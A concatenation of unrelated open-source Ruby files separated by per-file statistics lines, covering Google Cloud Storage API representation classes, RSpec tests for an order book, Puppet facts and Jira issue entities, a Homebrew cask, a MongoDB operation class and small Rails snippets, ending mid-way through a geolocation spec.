require 'google/apis/errors'
module Google
module Apis
module StorageV1
class Bucket
class Representation < Google::Apis::Core::JsonRepresentation; end
class Billing
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CorsConfiguration
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Encryption
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Lifecycle
class Representation < Google::Apis::Core::JsonRepresentation; end
class Rule
class Representation < Google::Apis::Core::JsonRepresentation; end
class Action
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Condition
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
include Google::Apis::Core::JsonObjectSupport
end
include Google::Apis::Core::JsonObjectSupport
end
class Logging
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Owner
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Versioning
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Website
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
include Google::Apis::Core::JsonObjectSupport
end
class BucketAccessControl
class Representation < Google::Apis::Core::JsonRepresentation; end
class ProjectTeam
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
include Google::Apis::Core::JsonObjectSupport
end
class BucketAccessControls
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Buckets
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Channel
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ComposeRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
class SourceObject
class Representation < Google::Apis::Core::JsonRepresentation; end
class ObjectPreconditions
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
include Google::Apis::Core::JsonObjectSupport
end
include Google::Apis::Core::JsonObjectSupport
end
class Notification
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Notifications
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Object
class Representation < Google::Apis::Core::JsonRepresentation; end
class CustomerEncryption
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Owner
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
include Google::Apis::Core::JsonObjectSupport
end
class ObjectAccessControl
class Representation < Google::Apis::Core::JsonRepresentation; end
class ProjectTeam
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
include Google::Apis::Core::JsonObjectSupport
end
class ObjectAccessControls
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Objects
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Policy
class Representation < Google::Apis::Core::JsonRepresentation; end
class Binding
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
include Google::Apis::Core::JsonObjectSupport
end
class RewriteResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ServiceAccount
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class TestIamPermissionsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Bucket
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :acl, as: 'acl', class: Google::Apis::StorageV1::BucketAccessControl, decorator: Google::Apis::StorageV1::BucketAccessControl::Representation
property :billing, as: 'billing', class: Google::Apis::StorageV1::Bucket::Billing, decorator: Google::Apis::StorageV1::Bucket::Billing::Representation
collection :cors_configurations, as: 'cors', class: Google::Apis::StorageV1::Bucket::CorsConfiguration, decorator: Google::Apis::StorageV1::Bucket::CorsConfiguration::Representation
collection :default_object_acl, as: 'defaultObjectAcl', class: Google::Apis::StorageV1::ObjectAccessControl, decorator: Google::Apis::StorageV1::ObjectAccessControl::Representation
property :encryption, as: 'encryption', class: Google::Apis::StorageV1::Bucket::Encryption, decorator: Google::Apis::StorageV1::Bucket::Encryption::Representation
property :etag, as: 'etag'
property :id, as: 'id'
property :kind, as: 'kind'
hash :labels, as: 'labels'
property :lifecycle, as: 'lifecycle', class: Google::Apis::StorageV1::Bucket::Lifecycle, decorator: Google::Apis::StorageV1::Bucket::Lifecycle::Representation
property :location, as: 'location'
property :logging, as: 'logging', class: Google::Apis::StorageV1::Bucket::Logging, decorator: Google::Apis::StorageV1::Bucket::Logging::Representation
property :metageneration, :numeric_string => true, as: 'metageneration'
property :name, as: 'name'
property :owner, as: 'owner', class: Google::Apis::StorageV1::Bucket::Owner, decorator: Google::Apis::StorageV1::Bucket::Owner::Representation
property :project_number, :numeric_string => true, as: 'projectNumber'
property :self_link, as: 'selfLink'
property :storage_class, as: 'storageClass'
property :time_created, as: 'timeCreated', type: DateTime
property :updated, as: 'updated', type: DateTime
property :versioning, as: 'versioning', class: Google::Apis::StorageV1::Bucket::Versioning, decorator: Google::Apis::StorageV1::Bucket::Versioning::Representation
property :website, as: 'website', class: Google::Apis::StorageV1::Bucket::Website, decorator: Google::Apis::StorageV1::Bucket::Website::Representation
end
class Billing
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :requester_pays, as: 'requesterPays'
end
end
class CorsConfiguration
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :max_age_seconds, as: 'maxAgeSeconds'
collection :http_method, as: 'method'
collection :origin, as: 'origin'
collection :response_header, as: 'responseHeader'
end
end
class Encryption
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :default_kms_key_name, as: 'defaultKmsKeyName'
end
end
class Lifecycle
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :rule, as: 'rule', class: Google::Apis::StorageV1::Bucket::Lifecycle::Rule, decorator: Google::Apis::StorageV1::Bucket::Lifecycle::Rule::Representation
end
class Rule
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :action, as: 'action', class: Google::Apis::StorageV1::Bucket::Lifecycle::Rule::Action, decorator: Google::Apis::StorageV1::Bucket::Lifecycle::Rule::Action::Representation
property :condition, as: 'condition', class: Google::Apis::StorageV1::Bucket::Lifecycle::Rule::Condition, decorator: Google::Apis::StorageV1::Bucket::Lifecycle::Rule::Condition::Representation
end
class Action
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :storage_class, as: 'storageClass'
property :type, as: 'type'
end
end
class Condition
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :age, as: 'age'
property :created_before, as: 'createdBefore', type: Date
property :is_live, as: 'isLive'
collection :matches_storage_class, as: 'matchesStorageClass'
property :num_newer_versions, as: 'numNewerVersions'
end
end
end
end
class Logging
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :log_bucket, as: 'logBucket'
property :log_object_prefix, as: 'logObjectPrefix'
end
end
class Owner
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :entity, as: 'entity'
property :entity_id, as: 'entityId'
end
end
class Versioning
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
end
end
class Website
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :main_page_suffix, as: 'mainPageSuffix'
property :not_found_page, as: 'notFoundPage'
end
end
end
class BucketAccessControl
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :bucket, as: 'bucket'
property :domain, as: 'domain'
property :email, as: 'email'
property :entity, as: 'entity'
property :entity_id, as: 'entityId'
property :etag, as: 'etag'
property :id, as: 'id'
property :kind, as: 'kind'
property :project_team, as: 'projectTeam', class: Google::Apis::StorageV1::BucketAccessControl::ProjectTeam, decorator: Google::Apis::StorageV1::BucketAccessControl::ProjectTeam::Representation
property :role, as: 'role'
property :self_link, as: 'selfLink'
end
class ProjectTeam
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :project_number, as: 'projectNumber'
property :team, as: 'team'
end
end
end
class BucketAccessControls
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :items, as: 'items', class: Google::Apis::StorageV1::BucketAccessControl, decorator: Google::Apis::StorageV1::BucketAccessControl::Representation
property :kind, as: 'kind'
end
end
class Buckets
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :items, as: 'items', class: Google::Apis::StorageV1::Bucket, decorator: Google::Apis::StorageV1::Bucket::Representation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
end
end
class Channel
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :address, as: 'address'
property :expiration, :numeric_string => true, as: 'expiration'
property :id, as: 'id'
property :kind, as: 'kind'
hash :params, as: 'params'
property :payload, as: 'payload'
property :resource_id, as: 'resourceId'
property :resource_uri, as: 'resourceUri'
property :token, as: 'token'
property :type, as: 'type'
end
end
class ComposeRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :destination, as: 'destination', class: Google::Apis::StorageV1::Object, decorator: Google::Apis::StorageV1::Object::Representation
property :kind, as: 'kind'
collection :source_objects, as: 'sourceObjects', class: Google::Apis::StorageV1::ComposeRequest::SourceObject, decorator: Google::Apis::StorageV1::ComposeRequest::SourceObject::Representation
end
class SourceObject
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :generation, :numeric_string => true, as: 'generation'
property :name, as: 'name'
property :object_preconditions, as: 'objectPreconditions', class: Google::Apis::StorageV1::ComposeRequest::SourceObject::ObjectPreconditions, decorator: Google::Apis::StorageV1::ComposeRequest::SourceObject::ObjectPreconditions::Representation
end
class ObjectPreconditions
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :if_generation_match, :numeric_string => true, as: 'ifGenerationMatch'
end
end
end
end
class Notification
# @private
class Representation < Google::Apis::Core::JsonRepresentation
hash :custom_attributes, as: 'custom_attributes'
property :etag, as: 'etag'
collection :event_types, as: 'event_types'
property :id, as: 'id'
property :kind, as: 'kind'
property :object_name_prefix, as: 'object_name_prefix'
property :payload_format, as: 'payload_format'
property :self_link, as: 'selfLink'
property :topic, as: 'topic'
end
end
class Notifications
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :items, as: 'items', class: Google::Apis::StorageV1::Notification, decorator: Google::Apis::StorageV1::Notification::Representation
property :kind, as: 'kind'
end
end
class Object
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :acl, as: 'acl', class: Google::Apis::StorageV1::ObjectAccessControl, decorator: Google::Apis::StorageV1::ObjectAccessControl::Representation
property :bucket, as: 'bucket'
property :cache_control, as: 'cacheControl'
property :component_count, as: 'componentCount'
property :content_disposition, as: 'contentDisposition'
property :content_encoding, as: 'contentEncoding'
property :content_language, as: 'contentLanguage'
property :content_type, as: 'contentType'
property :crc32c, as: 'crc32c'
property :customer_encryption, as: 'customerEncryption', class: Google::Apis::StorageV1::Object::CustomerEncryption, decorator: Google::Apis::StorageV1::Object::CustomerEncryption::Representation
property :etag, as: 'etag'
property :generation, :numeric_string => true, as: 'generation'
property :id, as: 'id'
property :kind, as: 'kind'
property :kms_key_name, as: 'kmsKeyName'
property :md5_hash, as: 'md5Hash'
property :media_link, as: 'mediaLink'
hash :metadata, as: 'metadata'
property :metageneration, :numeric_string => true, as: 'metageneration'
property :name, as: 'name'
property :owner, as: 'owner', class: Google::Apis::StorageV1::Object::Owner, decorator: Google::Apis::StorageV1::Object::Owner::Representation
property :self_link, as: 'selfLink'
property :size, :numeric_string => true, as: 'size'
property :storage_class, as: 'storageClass'
property :time_created, as: 'timeCreated', type: DateTime
property :time_deleted, as: 'timeDeleted', type: DateTime
property :time_storage_class_updated, as: 'timeStorageClassUpdated', type: DateTime
property :updated, as: 'updated', type: DateTime
end
class CustomerEncryption
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :encryption_algorithm, as: 'encryptionAlgorithm'
property :key_sha256, as: 'keySha256'
end
end
class Owner
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :entity, as: 'entity'
property :entity_id, as: 'entityId'
end
end
end
class ObjectAccessControl
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :bucket, as: 'bucket'
property :domain, as: 'domain'
property :email, as: 'email'
property :entity, as: 'entity'
property :entity_id, as: 'entityId'
property :etag, as: 'etag'
property :generation, :numeric_string => true, as: 'generation'
property :id, as: 'id'
property :kind, as: 'kind'
property :object, as: 'object'
property :project_team, as: 'projectTeam', class: Google::Apis::StorageV1::ObjectAccessControl::ProjectTeam, decorator: Google::Apis::StorageV1::ObjectAccessControl::ProjectTeam::Representation
property :role, as: 'role'
property :self_link, as: 'selfLink'
end
class ProjectTeam
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :project_number, as: 'projectNumber'
property :team, as: 'team'
end
end
end
class ObjectAccessControls
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :items, as: 'items', class: Google::Apis::StorageV1::ObjectAccessControl, decorator: Google::Apis::StorageV1::ObjectAccessControl::Representation
property :kind, as: 'kind'
end
end
class Objects
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :items, as: 'items', class: Google::Apis::StorageV1::Object, decorator: Google::Apis::StorageV1::Object::Representation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
collection :prefixes, as: 'prefixes'
end
end
class Policy
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :bindings, as: 'bindings', class: Google::Apis::StorageV1::Policy::Binding, decorator: Google::Apis::StorageV1::Policy::Binding::Representation
property :etag, :base64 => true, as: 'etag'
property :kind, as: 'kind'
property :resource_id, as: 'resourceId'
end
class Binding
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :members, as: 'members'
property :role, as: 'role'
end
end
end
class RewriteResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :done, as: 'done'
property :kind, as: 'kind'
property :object_size, :numeric_string => true, as: 'objectSize'
property :resource, as: 'resource', class: Google::Apis::StorageV1::Object, decorator: Google::Apis::StorageV1::Object::Representation
property :rewrite_token, as: 'rewriteToken'
property :total_bytes_rewritten, :numeric_string => true, as: 'totalBytesRewritten'
end
end
class ServiceAccount
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :email_address, as: 'email_address'
property :kind, as: 'kind'
end
end
class TestIamPermissionsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
collection :permissions, as: 'permissions'
end
end
end
end
end
| 38.095238 | 255 | 0.610208 |
f8500325b4dd246e3a527cdc8b2421fa5c0a5f22
| 174 |
banks = {}
banks = CSV.read('./db/fixtures/bank_list.csv').map { |row| {code: row[0], name: row[1]} }
banks.each { |bank| Bank.create(code: bank[:code], name: bank[:name]) }
| 43.5 | 90 | 0.62069 |
f8ce630377fa636db4cc3ddbf1d9b27db3179dff
| 2,156 |
require 'spec_helper'
describe Worker::SlaveBook do
subject { Worker::SlaveBook.new(false) }
let(:low_ask) { Matching.mock_limit_order(type: 'ask', price: '10.0'.to_d) }
let(:high_ask) { Matching.mock_limit_order(type: 'ask', price: '12.0'.to_d) }
let(:low_bid) { Matching.mock_limit_order(type: 'bid', price: '6.0'.to_d) }
let(:high_bid) { Matching.mock_limit_order(type: 'bid', price: '8.0'.to_d) }
context "#get_depth" do
before do
subject.process({action: 'add', order: low_ask.attributes}, {}, {})
subject.process({action: 'add', order: high_ask.attributes}, {}, {})
subject.process({action: 'add', order: low_bid.attributes}, {}, {})
subject.process({action: 'add', order: high_bid.attributes}, {}, {})
end
it "should return lowest asks" do
subject.get_depth('btccny', :ask).should == [
['10.0'.to_d, low_ask.volume],
['12.0'.to_d, high_ask.volume]
]
end
it "should return highest bids" do
subject.get_depth('btccny', :bid).should == [
['8.0'.to_d, high_bid.volume],
['6.0'.to_d, low_bid.volume]
]
end
it "should updated volume" do
attrs = low_ask.attributes.merge(volume: '0.01'.to_d)
subject.process({action: 'update', order: attrs}, {}, {})
subject.get_depth('btccny', :ask).should == [
['10.0'.to_d, '0.01'.to_d],
['12.0'.to_d, high_ask.volume]
]
end
end
context "#process" do
it "should create new orderbook manager" do
subject.process({action: 'add', order: low_ask.attributes}, {}, {})
subject.process({action: 'new', market: 'btccny', side: 'ask'}, {}, {})
subject.get_depth('btccny', :ask).should be_empty
end
it "should remove an empty order" do
subject.process({action: 'add', order: low_ask.attributes}, {}, {})
subject.get_depth('btccny', :ask).should_not be_empty
# after matching, order volume could be ZERO
attrs = low_ask.attributes.merge(volume: '0.0'.to_d)
subject.process({action: 'remove', order: attrs}, {}, {})
subject.get_depth('btccny', :ask).should be_empty
end
end
end
| 33.6875 | 79 | 0.613173 |
79b1dd951403b91ad6527504ec7ddf1206336a15
| 114 |
Rails.application.routes.draw do
root 'home#search'
post :search_champion, to: 'search#search_champion'
end
| 16.285714 | 53 | 0.763158 |
b9a2f1cd53207f60d526c35fe166fbe2d9659312
| 624 |
#!/bin/ruby
require 'sqlite3'
require_relative 'player'
require_relative 'dealing'
require_relative 'team'
require_relative 'gather'
require_relative 'game'
def calculate_score
team_array.each do |team|
team.set_tricks
end
team_array.each do |team|
team.set_bid
end
end
Game.set_tables
Gather.players(4)
Gather.teams()
Team.declare()
while Game.keep_going?()
Dealing.rotate()
Gather.bids()
Team.set_bid
Game.persist()
Gather.tricks
Team.set_tricks
Game.persist()
Player.declare_tricks() #this should probably be from Team, not Player
Team.update_score
Team.list_score
end
| 13.565217 | 71 | 0.738782 |
7968537a4f736b7f4186c5cc22ee326cec76f009
| 121 |
class AddSlugToQuestions < ActiveRecord::Migration[4.2]
def change
add_column :questions, :slug, :string
end
end
| 20.166667 | 55 | 0.743802 |
ac06de251d6c275689da9ff9eaff8a415cbdc039
| 1,023 |
cask 'debookee' do
version '6.3.0'
sha256 'e87cc30b09ac069acd3f41b6b73cfbb446afeb89024298d2a62d7f8cb9c8feed'
# iwaxx.com/debookee was verified as official when first introduced to the cask
url 'https://www.iwaxx.com/debookee/debookee.zip'
appcast 'https://www.iwaxx.com/debookee/appcast.php'
name 'Debookee'
homepage 'https://debookee.com/'
depends_on macos: '>= :sierra'
app 'Debookee.app'
uninstall delete: '/Library/PrivilegedHelperTools/com.iwaxx.Debookee.PacketTool',
launchctl: 'com.iwaxx.Debookee.PacketTool'
zap trash: [
'~/Library/Application Support/com.iwaxx.Debookee',
'~/Library/Caches/com.iwaxx.Debookee',
'~/Library/Cookies/com.iwaxx.Debookee.binarycookies',
'~/Library/Logs/Debookee',
'~/Library/Preferences/com.iwaxx.Debookee.plist',
'~/Library/Saved Application State/com.iwaxx.Debookee.savedState',
'~/Library/WebKit/com.iwaxx.Debookee',
]
end
| 36.535714 | 86 | 0.662757 |
111ae4d38671ce6b34ad11c5e6312507eecb5516
| 396 |
module ListsHelper
def incomplete_items?
@list.items.any? {|item| item.complete == false}
end
def display_incomplete_items(list)
display = []
incompletes = list.items.reject {|item| item.complete == true}
incompletes.each do |item|
display << "<h4><p> #{check_box_tag 'complete[item_ids][]', item.id} #{item.name.titlecase} </p></h4>"
end
display
end
end
| 24.75 | 109 | 0.651515 |
ffb7a0b6bc0e1d2bfe9e03ad284513d73d96d39e
| 3,026 |
require 'rspec'
require 'project'
require 'pry'
require 'pg'
require "spec_helper"
describe Project do
describe '#title' do
it 'returns the project title' do
project = Project.new({:title => 'Teaching Kids to Code', :id => nil})
expect(project.title).to eq 'Teaching Kids to Code'
end
end
context '#id' do
it 'returns the id of the project before saving project' do
project = Project.new({:title => 'Teaching Kids to Code', :id => nil})
expect(project.id).to eq nil
end
it 'returns the id of the project after saving project' do
project = Project.new({:title => 'Teaching Kids to Code', :id => nil})
project.save
expect(project.id).to be_an_instance_of Integer
end
end
describe '#==' do
it 'is the same project if two projects have the same title' do
project1 = Project.new({:title => 'Teaching Kids to Code', :id => nil})
project2 = Project.new({:title => 'Teaching Kids to Code', :id => nil})
expect(project1 == project2).to eq true
end
end
context '.all' do
it 'is empty to start' do
expect(Project.all).to eq []
end
it 'returns all projects' do
project1 = Project.new({:title => 'Teaching Kids to Code', :id => nil})
project1.save
project2 = Project.new({:title => 'Teaching Ruby to Kids', :id => nil})
project2.save
expect(Project.all).to eq [project1, project2]
end
end
describe '#save' do
it 'saves a project to the database' do
project = Project.new({:title => 'Teaching Kids to Code', :id => nil})
project.save
expect(Project.all).to eq [project]
end
end
#
describe '.find' do
it 'returns a project by id' do
project1 = Project.new({:title => 'Teaching Kids to Code', :id => nil})
project1.save
project2 = Project.new({:title => 'Teaching Ruby to Kids', :id => nil})
project2.save
expect(Project.find(project1.id)).to eq project1
end
end
describe '#volunteers' do
it 'returns all volunteers for a specific project' do
project = Project.new({:title => 'Teaching Kids to Code', :id => nil})
project.save
volunteer1 = Volunteer.new({:name => 'Jasmine', :hours => 1, :project_id => project.id, :id => nil})
volunteer1.save
volunteer2 = Volunteer.new({:name => 'Joe', :hours => 1, :project_id => project.id, :id => nil})
volunteer2.save
expect(project.volunteers).to eq [volunteer1, volunteer2]
end
end
describe '#update' do
it 'allows a user to update a project' do
project = Project.new({:title => 'Teaching Kids to Code', :id => nil})
project.save
project.update('Teaching Ruby to Kids')
expect(project.title).to eq 'Teaching Ruby to Kids'
end
end
context '#delete' do
it 'allows a user to delete a project' do
project = Project.new({:title => 'Teaching Kids to Code', :id => nil})
project.save
project.delete
expect(Project.all).to eq []
end
end
end
| 30.877551 | 106 | 0.623265 |
7a3cca7b421172945ffb6495a8a599e022a69ff4
| 802 |
require 'test_helper'
class UsersIndexTest < ActionDispatch::IntegrationTest
def setup
@admin = users(:michael)
@non_admin = users(:archer)
end
test "index as admin including pagination and delete links" do
log_in_as(@admin)
get users_path
assert_template 'users/index'
assert_select 'div.pagination'
first_page_of_users = User.paginate(page: 1)
first_page_of_users.each do |user|
assert_select 'a[href=?]', user_path(user), text: user.name
unless user == @admin
assert_select 'a[href=?]', user_path(user), text: 'Delete'
end
end
assert_difference 'User.count', -1 do
delete user_path(@non_admin)
end
end
test "index as non-admin" do
log_in_as(@non_admin)
get users_path
assert_select 'a', text: 'delete', count: 0
end
end
| 25.0625 | 65 | 0.698254 |
f83ddefd17b7a1335cd21157b9bae41df71fa3a9
| 1,476 |
require 'spec_helper'
describe 'stash::facts', :type => :class do
context 'supported operating systems' do
on_supported_os.each do |os, facts|
context "on #{os} #{facts}" do
let(:facts) do
facts
end
regexp_pe = /^#\!\/opt\/puppet\/bin\/ruby$/
regexp_oss = /^#\!\/usr\/bin\/env ruby$/
pe_external_fact_file = '/etc/puppetlabs/facter/facts.d/stash_facts.rb'
external_fact_file = '/etc/facter/facts.d/stash_facts.rb'
it { should contain_file(external_fact_file) }
# Test puppet enterprise shebang generated correctly
context 'with puppet enterprise' do
let(:facts) do
facts.merge({ :puppetversion => "3.4.3 (Puppet Enterprise 3.2.1)"})
end
it do
should contain_file(pe_external_fact_file) \
.with_content(regexp_pe)
end
end
## Test puppet oss shebang generated correctly
context 'with puppet oss' do
it do
should contain_file(external_fact_file) \
.with_content(regexp_oss)
.with_content(/7990\/rest\/api\//)
end
end
context 'with context' do
let(:params) {{
:context_path => '/stash',
}}
it do
should contain_file(external_fact_file) \
.with_content(/7990\/stash\/rest\/api\//)
end
end
end
end
end
end
| 29.52 | 79 | 0.556233 |
e851f680c5a13e1c8ecbee668176ddf2165b4f61
| 302 |
module Metrica
module Instrumentation
# @api private
module ActiveRecord
def self.included(base)
base.class_eval do
extend Metrica::MethodInstrumentation
instrument_method :log, "request.db", within_transaction: true
end
end
end
end
end
| 20.133333 | 72 | 0.652318 |
116dc6460136feff98ecd4ac010078d6a5698205
| 1,447 |
# frozen_string_literal: true
# encoding: utf-8
# Copyright (C) 2018-2020 MongoDB Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
module Mongo
module Operation
class MapReduce
# A MongoDB mapreduce operation sent as a command message.
#
# @api private
#
# @since 2.5.2
class Command
include Specifiable
include Executable
include Limited
include ReadPreferenceSupported
include WriteConcernSupported
include PolymorphicResult
private
def selector(connection)
super.tap do |selector|
if selector[:collation] && !connection.features.collation_enabled?
raise Error::UnsupportedCollation
end
end
end
def message(connection)
Protocol::Query.new(db_name, Database::COMMAND, command(connection), options(connection))
end
end
end
end
end
| 27.826923 | 99 | 0.673808 |
616048882b4ccfca57e4aae25e84e6bca75f8944
| 5,401 |
# frozen_string_literal: true
require 'spec_helper'
RSpec.describe Integrations::Jira::IssueDetailEntity do
include JiraServiceHelper
let_it_be(:project) { create(:project) }
let_it_be(:jira_service) { create(:jira_service, project: project, url: 'http://jira.com', api_url: 'http://api.jira.com') }
let(:reporter) do
{
'displayName' => 'reporter',
'avatarUrls' => { '48x48' => 'http://reporter.avatar' },
'name' => '[email protected]'
}
end
let(:assignee) do
{
'displayName' => 'assignee',
'avatarUrls' => { '48x48' => 'http://assignee.avatar' },
'name' => '[email protected]'
}
end
let(:comment_author) do
{
'displayName' => 'comment_author',
'avatarUrls' => { '48x48' => 'http://comment_author.avatar' },
'name' => '[email protected]'
}
end
let(:jira_issue) do
double(
summary: 'Title',
renderedFields: {
'description' => '<p>Description</p>',
'comment' => {
'comments' => [
{
'body' => '<p>Comment</p>'
}
]
}
},
created: '2020-06-25T15:39:30.000+0000',
updated: '2020-06-26T15:38:32.000+0000',
duedate: '2020-06-27T15:40:30.000+0000',
resolutiondate: '2020-06-27T13:23:51.000+0000',
labels: ['backend'],
fields: {
'reporter' => reporter,
'assignee' => assignee,
'comment' => {
'comments' => [
{
'id' => '10022',
'author' => comment_author,
'body' => '<p>Comment</p>',
'created' => '2020-06-25T15:50:00.000+0000',
'updated' => '2020-06-25T15:51:00.000+0000'
}
]
}
},
project: double(key: 'GL'),
key: 'GL-5',
status: double(name: 'To Do')
)
end
subject { described_class.new(jira_issue, project: project).as_json }
it 'returns the Jira issues attributes' do
expect(subject).to include(
project_id: project.id,
title: 'Title',
description_html: "<p dir=\"auto\">Description</p>",
created_at: '2020-06-25T15:39:30.000+0000'.to_datetime.utc,
updated_at: '2020-06-26T15:38:32.000+0000'.to_datetime.utc,
due_date: '2020-06-27T15:40:30.000+0000'.to_datetime.utc,
closed_at: '2020-06-27T13:23:51.000+0000'.to_datetime.utc,
status: 'To Do',
state: 'closed',
labels: [
{
title: 'backend',
name: 'backend',
color: '#EBECF0',
text_color: '#283856'
}
],
author: hash_including(
name: 'reporter',
avatar_url: 'http://reporter.avatar'
),
assignees: [
hash_including(
name: 'assignee',
avatar_url: 'http://assignee.avatar'
)
],
web_url: 'http://jira.com/browse/GL-5',
references: { relative: 'GL-5' },
external_tracker: 'jira',
comments: [
hash_including(
id: '10022',
author: hash_including(
name: 'comment_author',
avatar_url: 'http://comment_author.avatar'
),
body_html: "<p dir=\"auto\">Comment</p>",
created_at: '2020-06-25T15:50:00.000+0000'.to_datetime.utc,
updated_at: '2020-06-25T15:51:00.000+0000'.to_datetime.utc
)
]
)
end
context 'with Jira Server configuration' do
it 'returns the Jira Server profile URL' do
expect(subject[:author]).to include(web_url: 'http://jira.com/secure/[email protected]')
expect(subject[:assignees].first).to include(web_url: 'http://jira.com/secure/[email protected]')
expect(subject[:comments].first[:author]).to include(web_url: 'http://jira.com/secure/[email protected]')
end
context 'with only url' do
before do
stub_jira_service_test
jira_service.update!(api_url: nil)
end
it 'returns URLs with the web url' do
expect(subject[:author]).to include(web_url: 'http://jira.com/secure/[email protected]')
expect(subject[:web_url]).to eq('http://jira.com/browse/GL-5')
end
end
end
context 'with Jira Cloud configuration' do
before do
reporter['accountId'] = '12345'
assignee['accountId'] = '67890'
comment_author['accountId'] = '54321'
end
it 'returns the Jira Cloud profile URL' do
expect(subject[:author]).to include(web_url: 'http://jira.com/people/12345')
expect(subject[:assignees].first).to include(web_url: 'http://jira.com/people/67890')
expect(subject[:comments].first[:author]).to include(web_url: 'http://jira.com/people/54321')
end
end
context 'without assignee' do
let(:assignee) { nil }
it 'returns an empty array' do
expect(subject).to include(assignees: [])
end
end
context 'without labels' do
before do
allow(jira_issue).to receive(:labels).and_return([])
end
it 'returns an empty array' do
expect(subject).to include(labels: [])
end
end
context 'without resolution date' do
before do
allow(jira_issue).to receive(:resolutiondate).and_return(nil)
end
it "returns 'Open' state" do
expect(subject).to include(state: 'opened')
end
end
end
| 29.194595 | 134 | 0.582114 |
ff78f68f60848dae7724f527d345c38bff4c678b
| 1,976 |
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require File.dirname(__FILE__) + '/../spec_helper'
describe Geolocation do
before(:each) do
Geolocation.url = 'http://localhost:8080/Web20Emulator/geocode?appid=gsd5f'
